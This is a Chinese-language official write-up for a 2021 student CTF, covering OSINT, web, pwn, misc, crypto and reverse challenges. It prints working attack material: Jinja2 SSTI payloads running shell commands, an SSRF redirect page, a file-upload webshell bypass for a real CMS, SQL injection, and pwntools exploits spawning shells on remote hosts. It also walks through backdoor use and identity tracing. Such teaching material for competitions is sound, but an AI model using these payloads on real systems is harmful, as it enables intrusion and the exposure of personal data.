首届JlenuCTF吉林工师网络安全挑战赛官方Write Up

本次比赛于2021.5.19到2021.5.23正式圆满结束,本次比赛本人作为出题人也是尝试了各种方向的出题,再此也鸣谢一下strving师傅贡献的密码题以及last师傅贡献的web题,期间确实有点小插曲,比如部分题目出现无法解题的情况,以及分数配置的稍微不合理,以及社工题目的缺陷,希望下次举办可以更加完美一点,社工题不知道师傅们玩的是否开心,happygame确实狠happy!!!

社工

这是本人从去年就开始筹备的一个想法,这次比赛终于实现了,也是成为了本次比赛的一大特色。其中也有很多遗憾,比如一些部分处理的并不好,还有需要一些脑洞以及提示,甚至是缺乏一些合理性.jpg
但是总体来讲,这道题目的预期效果还是比较不错的,让师傅们也比较满意,很欣慰

人物画像:

黑客画像:
id:HSYM
背景:带黑客,灰产哥,后台摸屁股一把手
姓名:荒山人
拼音:huangshanren
学校:江西软件职业技术大学
坐标:115.82271,28.902229
经纬度:115°49'21.756" 28°54'8.02439999999976"
生日:
常用密码:
ip:http://1.15.98.31/
邮箱:https://mail.protonmail.com/
帐号:S114514W
密码:
身份证:

受害人画像:

角色:
魔法少女
性别:男
岗位:某论坛维护人
擅长:社会工程

社工一:帮我溯源

题目描述:

《本题目为阶段性,解决本题目才可开放下一个,总共五个,本系列题目在做的过程中请不要删除任何内容,请不要做任何非法修改,无需任何操作,请不要进行扫描爆破路径》

魔法少女所维护的网站被黑客攻击了,你是魔法少女请过来的外援大佬,希望你能够帮助魔法少女来进行溯源找到黑客,已知魔法少女对网站进行了备份,加油。 找到后门文件,将黑客id直接提交至平台,无需包装

解题:

访问www.zip进行下载文件备份

图片[1]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

zb_system/admin存在1.php,打开

图片[2]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

获得黑客id,提交

社工二:深入调查

描述

很好,你已经找到了黑客的id,请继续溯源,寻找黑客的代理服务器的ip 将代理服务器ip直接提交

解题:

既然还有着后门文件,咱们直接利用进行连接

图片[3]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇
图片[4]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

直接寻找日志(此处是因为没有使用多动态docker,所以只好单独设立了一个日志,引导选手进入)

图片[5]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

成功找到黑客的代理ip,提交

社工三:信息收集

描述:

非常棒,既然你已经找到了黑客的服务器,尝试访问,并找出他的博客后台密码 找出黑客的博客后台密码,直接提交

解题:

这里由于稍微有些脑洞,所以后上了个hint,提示密码为ID+生日

这里预期解是通过蚁剑连数据库,找到qq,进行进一步挖掘

图片[6]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

找到数据库配置文件,直接连接

图片[7]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

可以找到qq邮箱,查找此qq,可以发现其首条qq

图片[8]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

该网页与代理服务器一致,深入挖掘也可以发现出生年月

图片[9]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

最后组成为:

HSYM20020301

可以直接登录后台

图片[10]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

社工 四:反击黑客

描述:

good,该找的都找得差不多了黑客的邮箱里面可能会有些好东西哦 找出黑客的真实地理位置,地理位置名称提交

解题:

登陆后台,想办法拿shell,上传带shell的插件即可

图片[11]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇
图片[12]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

有备份文件,登陆邮箱

邮箱内有iphone照片,获取exif经纬度即可

https://zhuanlan.zhihu.com/p/139321015

江西软件职业技术学院

社工 五:抓到你了

描述:

非常棒,抓到他。 找到黑客的身份证号,直接提交

解题:

邮箱有个坚果云置顶,猜测内容在坚果云内,直接重置邮箱,找到图片即可

图片[13]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

HAPPYGAME

SIMPIOT

说起来你可能不信,预期解就是binwalk直接cat(

简单的梯形图分析

丢入西门子仿真直接运行,结果为12.0

包上包装就是JlenuCTF{12.0}

(可恶,竟然没人做)

WEB

easy_Login

题目描述:

魔法少女并未修改她的学号密码,只要登陆进去就一定可以获得flag了吧,她的学号是:1927034131,默认密码为身份证后六位

解题:

图片[14]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

进来后是我们学校的登陆页面,俺们学校前端是有个登陆验证的,而且还是AES自动填充,会给随机的key,就离谱,具体实际情况可以参考俺的今日校园项目:jiayuqi7813/Jltiet-auto-signin: auto-signin (github.com)

在题目中,我就把随机的key以及长度补全做了限制,就是非常简单的AES_ECB模式的爆破登录(后面考虑到服务器负载问题,就直接提示了前两位数组,要不然00000-99999属实太恼了(((

先把用户名输入进去随便抓个包,可以看见password是进行了加密

图片[15]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

如果密码错误会提示密码错误

图片[16]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

具体的加密方式可以通过F12查看源码获得

图片[17]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

AES ECB模式,密钥也是固定的

图片[18]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

可以通过在线解密进行验证

图片[19]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

所以只需要插件爆破就好了

首先生成0000-9999的字典,然后与08拼接

for i in range(10000):
    print('08'+f'{i:04}')  

bp插件爆破

图片[20]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

爆破即可,密码:080806

flag:JlenuCTF{wow_Y0u_GOT_MY_passw0rd}

BDE_CAT

题目描述:its so BDE cat!!!!!!!!

解题:

进去后一只吊面猫,f12可以看见is_debug的字样

图片[21]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

令url接上is_debug即可看见源代码

此处考点就是需要绕过_的过滤,php会将.或+认作_所以可以直接绕过,其次是正则,这个正则为了降低难度实际上并未生效,最后只需要绕过/sandboxed_bin/这个目录限制就好了,利用分号即可

最终拼接:

图片[22]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

CMS_audit

题目描述:一个简单的cms审计,冲

解题:

说是代码审计,然而实际上是个现成的cms的漏洞,考察一下校内选手对现成漏洞的复现的能力。

打开网址发现是 YCCMS,在网上搜索得到后台路径 /admin/ 及默认密码 admin:admin

文件上传漏洞在后台找到一处上传点。处理其代码逻辑在 /public/class/LogoUpload.class.php,关键代码如下:

//构造方法,初始化

public function __construct($_file,$_maxsize) {
		$this->error = $_FILES[$_file]['error'];
		$this->maxsize = $_maxsize / 1024;
		$this->type = $_FILES[$_file]['type'];
		$this->path = ROOT_PATH.'/'.UPLOGO;
		$this->name = $_FILES[$_file]['name'];
		$this->tmp = $_FILES[$_file]['tmp_name'];
		$this->checkError();	//验证错误
		$this->checkType();		//验证类型
		$this->checkPath();		//验证目录
		$this->moveUpload();	//移动文件
	}

绕过很简单,上传一个PNG格式,大小不超过2M的图片,bp抓包,修改内容为php一句话,后缀改为php。

图片[23]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

有警告不要紧,php文件其实已经生成了。使用蚁剑连接(文件名会自动变成 logo)

在根目录找到 flag:Jlenu{GOOD_Y0U_Are_HACKED!!!}

图片[24]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

Easy_SSRF

感谢last师傅供题

题目描述:简单的SSRF

解题:

F12查看有个?url的注释,命令行输入后可以进行打ssrf,过滤了localhost以及127.0.0.1,直接生成个

http://127.0.0.1/flag.php的短链接打过去就行了

图片[25]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

来自d1a0的解法:

经过测试,服务器上搭建一个302跳转页面

1.php

<?php
echo"1";
header("Location:http://127.0.0.1/flag.php");?>

访问:http://120.79.25.56:5566/?url=http://x.x.x.x/1.php

flag: JlenuCTF{ssrf_is_so_esay!}

Strange_SQLI

题目描述:一个奇怪的sql注入

解题:

这道题奇怪就奇怪在他有个动态的waf,waf每次会从随机的关键字去过滤几个字符,目的是为了防止sqlmap一把梭,本质上还是很简单的。

0 union select flag from flag

就出来了(

MIAOHUB

题目描述:我做了一个可以上传猫猫图片的网站,先生请不要乱上传哦

解题:

一个批着文件上传题目的ssti(,简单的ssti,仅过滤了.和[ ],用来参考的文章:Jinja2 SSTI Research – HackMD

直接打就完事了

{{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}
{{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag*')|attr('read')()}}

hard_Unserialize

零解题,不提供wp,同样感谢last师傅供体,该题目后续还会再见

PWN

easy_sender

这是一个简单的缓冲区溢出,通过gets调用使vuln函数中的缓冲区溢出

from pwn import *

sh = remote('118.195.156.186', 10000)

win_addr = 0x080491B6
sh.sendlineafter('? ', 'a'*(0x10+4)+p64(win_addr))

sh.interactive()

strread

一个相对简单的程序,两个输入,并进行异或。

我们修改变量changeme,这个变量在堆上分配,从0xff开始,并且不在程序中直接修改。

int * changeme = malloc(sizeof(int));
*changeme = 255;
printf("Reality: %d\n", *changeme);

...

if (*changeme != 0xff) {
    system("/bin/sh");
}

第一个输入位于堆栈上,最大大小为256字节

第二个输入位于堆上,其最大大小等于上一个输入的长度

buffer2”的大小是“strlen(buffer)”,而读取的字节数是上一次输入的实际长度。“strlen”计算的长度是输入中第一个空字节的索引,而“read”返回读取的字符数。

如果您的第一个输入是“\x00AAAAAA”,则将调用“malloc(1)”,而read将以8字节读取。因为’buffer2’是在’changeme’之前分配的,所以溢出到changeme很简单:第一个输入应该以空字节开始,然后有大量字符,然后buffer2将与changeme重叠。

在这种情况下,分配之间的最小大小是32字节,这意味着如果我们的第一个字节是空字节(导致’malloc(1)`),那么我们的第二个输入应该有32字节的填充,那么下一个整数将覆盖changeme。这可以通过两种简单的方法来确定:在gdb中转储内存,或者使用pwntools提供的“cyclic”和“cyclic\u find”函数。

唯一剩下的是xor函数。如果需要将changme设置为特定值,则需要密切关注xor的结果。然而,由于所需要的只是更改值,只要我们的缓冲区超出了内存中changeme的位置,直接写exp:

from pwn import *
p = process("./strlenvsread")
p.sendline(b"\x00" + b"A" * 254)
p.sendline(b"o" * 32 + p32(1337))

p.interactive()

whiterabbit

一个类似web的pwn,通过闭合执行sh

from pwn import *  # NOQA

# p = process("./whiterabbit")
p = remote("118.195.156.186", 10002)

p.sendline("'$(sh)")
p.recv()
p.sendline("sh >&2")

p.interactive()

MISC

MY XP

直接

python vol.py ‐f ../111.vmem ‐‐profile=WinXPSP2x86 notepad

转换base64即可

海底谭

这道题原本想法是做了个工具,但是比赛时被反馈无法正常解题,所以临时换附件

解法直接用7zip就可以直接解出

coolpic

预期解是通过滤波算法进行降噪:

matlab:

I = imread('mix2.png');   %读取图片
%t1 = imnoise(I,'salt & pepper',0.5);
t=imdivide(I,0.9);
t2=median_filter(t,3);
figure,imshow(t2),title('中值滤波后')

然而学妹直接用ps就拿了一血。。。tql

图片[26]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

warm-up

为了降低难度直接把注释都丢上面了

图片[27]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

胜利条件后面的代码复制到f12的控制台就完事了

图片[28]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

签到-线下限定版

整活的,提交我身后的flag

MagicCODE

扫码,直接rickroll(你 被 骗 了)

盲水印+兽音译者(这个没给提示确实有点脑洞了,不好意思)

CRYPTO

WHATS HAPPEN?

盲文转换

Baby_RSA

三素数rsa,已知一组n,e,d,其中d=invert(e,lcm(p-1,q-1,r-1))再用n,7去加密flag

首先根据e,d,n可以爆破求出phi,lam=gcd(p-1,q-1,r-1)

e*d-1=kphi/lam

爆破公约数lam,lam*(e*d-1)=kphi

k=kphi//n +1=lam(e*d-1)//n+1

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from gmpy2 import *

d=6848345389131232097250291554774004483864247462767351912899751705063009304102012225840379809975695209148626539132005837425458215616241927473070938221119168859672496841054510245128799501775634965114887272776082740599056090759932017
#解析公钥文件
with open(r"npubkey.pem", 'r') as f:
    key=RSA.importKey(f.read())
    n=key.n
    e=key.e
#读取密文   
cipher=int(open(r"nflag.enc","rb").read().decode(),16)

print(n,e)

#爆破lam,求phi
for lam in range(1,200):
    kphi=lam*(e*d-1)
    k=kphi//n+1
    if kphi%k==0:
        phi=kphi//k
        print(phi,lam)
        break
   
e=7
#e和phi不互素,只是其中一个素数因子有7,把它剔除再求解。


m=pow(2,phi//7,n)
1==pow(2,phi,n)
qr=gcd(m-1,n)

p=n//qr
d=invert(e,phi//(p-1))


print(long_to_bytes(pow(cipher,d,qr)))

lfsr encode

常规的lfsr,只是两个lfsr产生的输出流out1,out2,再计算out=ou1<<1^out2,可以发现out和out1,out2的组合是一一对应的,也就是说通过out就可以反求out1,out2,对应如下:

图片[29]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

输出的tmp就是out的值,分别还原out1,out2流,然后就是n级lfsr已知掩码mask的话,已知n位输出就可以求到初始状态,就很简单了。最后求到flag。

with open(r"key.txt","rb") as f:
    c=f.read()
    f.close
 
from Crypto.Util.number import *
c=bin(bytes_to_long(c))[2:]
C=[]
for i in range(0,len(c),2):
    C.append(int(c[i:i+2],2))
 
out1=""
out2=""
for i in C:
    if i==3:
        out1+="1"
        out2+="1"
    if i==2:
        out1+="1"
        out2+="0"
    if i==1:
        out1+="0"
        out2+="1"
    if i==0:
        out1+="0"
        out2+="0"
 
KEY=[]
mask="1010110101101101001011010111101100010110011110001010110101101101"
for i in range(len(mask)):
    if mask[i]=="1":
        KEY.append(i)
        
flag1=""
out1=out1[:64]
 
for i in range(64):
    
    im="1"+flag1+out1[:63-i]
    
    K=int(im[KEY[0]])
    for j in range(1,len(KEY)):
        K^=int(im[KEY[j]])
        
    if K==int(out1[63-i]):
        flag1="1"+flag1
    else:
        flag1="0"+flag1
        
out2=out2[:64]
flag2=""
for i in range(64):
    
    im="1"+flag2+out2[:63-i]
    
    K=int(im[KEY[0]])
    for j in range(1,len(KEY)):
        K^=int(im[KEY[j]])
        
    if K==int(out2[63-i]):
        flag2="1"+flag2
    else:
        flag2="0"+flag2
flag1=hex(int(flag1,2))[2:]
flag2=hex(int(flag2,2))[2:]
import hashlib
print("JlenuCTF{"+hashlib.md5((flag1+flag2).encode("utf8")).hexdigest()+"}")

reverse

easy_py

1.执行文件,查看输出

图片[30]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

二、.使用 uncompyle6 反编译,分析代码
uncompyle6 ‐o 1.py ./easy_py.pyc

得到源码:

# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.6.8 (tags/v3.6.8:3c6b436a57, Dec 24 2018, 00:16:47) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ./1.py
# Compiled at: 2021-04-28 11:52:30
# Size of source mod 2**32: 1185 bytes
import threading, time

#与顺序进行异或
def encode_1(n):
    global num
    while 1:
        if num >= 0:
            flag[num] = flag[num] ^ num
            num -= 1
            time.sleep(1)
        if num <= 0:
            break

#与列表中后一数据进行异或
def encode_2(n):
    global num
    while 1:
        if num >= 0:
            flag[num] = flag[num] ^ flag[(num + 1)]
            num -= 1
            time.sleep(1)
        if num < 0:
            break


while True:
    Happy = [
     39, 109, 8, 109, 51, 70, 21, 65, 11, 112, 22, 111, 33, 82, 93, 124, 23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95, 18, 115, 117, 42, 122, 18, 18, 124, 103, 88]
    num = 37
    f = input('Please input your flag:')
    
    #判断长度
    if len(f) != 38:
        print('Your input is illegal')
        continue
    flag = list(f)
    j = 0
    for i in flag:
        flag[j] = ord(i)
        j += 1

    print("flag to 'ord':", flag)
    
    #创建线程
    t1 = threading.Thread(target=encode_1, args=(1, ))
    t2 = threading.Thread(target=encode_2, args=(2, ))
    
    #开始线程,区分间隔
    t1.start()
    time.sleep(0.5)
    t2.start()
    
    t1.join()
    t2.join()
    
    #判断
    if flag == Happy:
        print('Good job!')
    else:
        print('No no no!')

可以看到该题是创建了个全局变量,通过两个线程将其进行递减,并进行相关算法:将输入的数据从后往前(37~0),按照列表顺序,当顺序号为奇数执行 t1 线程算法:将该数据与顺序进行异或偶数执行 t2 线程算法:将该数据与后一个数据进行异或re.py

flag=[
     39, 109, 8, 109, 51, 70, 21, 65, 11, 112, 22, 111, 33, 82, 93, 124, 23, 72, 77, 125, 115, 74, 27, 98, 23, 87, 0, 95, 18, 115, 117, 42, 122, 18, 18, 124, 103, 88]
j=0
for i in flag:
    if j%2==0:
        flag[j]=flag[j]^flag[j+1]
        j+=1
    else:
        flag[j]=flag[j]^j
        j+=1

for i in range(len(flag)):
    flag[i]=chr(flag[i])
flagstr=''
flagstr=''.join(flag)

print(flagstr)

MEGA-RACE

IDA打开,shift+F12 找到关键字符串进入查看交叉引用

图片[31]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

查看代码

图片[32]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇
图片[33]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

发现是把你输入的 flag,经过 scram 函数处理与 &pass 中前 39 个字符比较4.双击 pass,shift+E 提取数据

图片[34]-首届JlenuCTF吉林工师网络安全挑战赛官方Write Up-魔法少女雪殇

re.py

ss=[
   17,  27,  22,  16,  12,  20,  71,  25,  16,   5, 
   67,   3,   2,  27,  67,   3,  70,  71,  25,  13, 
   40,  14,  71,   2,  40,  22,   5,  68,  40,   3, 
   31,  68,  40,  48,  34,  46,  86,  10
]
print(len(ss))

result=0
for i in range(38):
    result=i
    ss[i]^=0x77
print(ss)

flag=[]
for i in ss:
    print(chr(i),end='')
© 版权声明
THE END
喜欢就支持一下吧
点赞4 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    暂无评论内容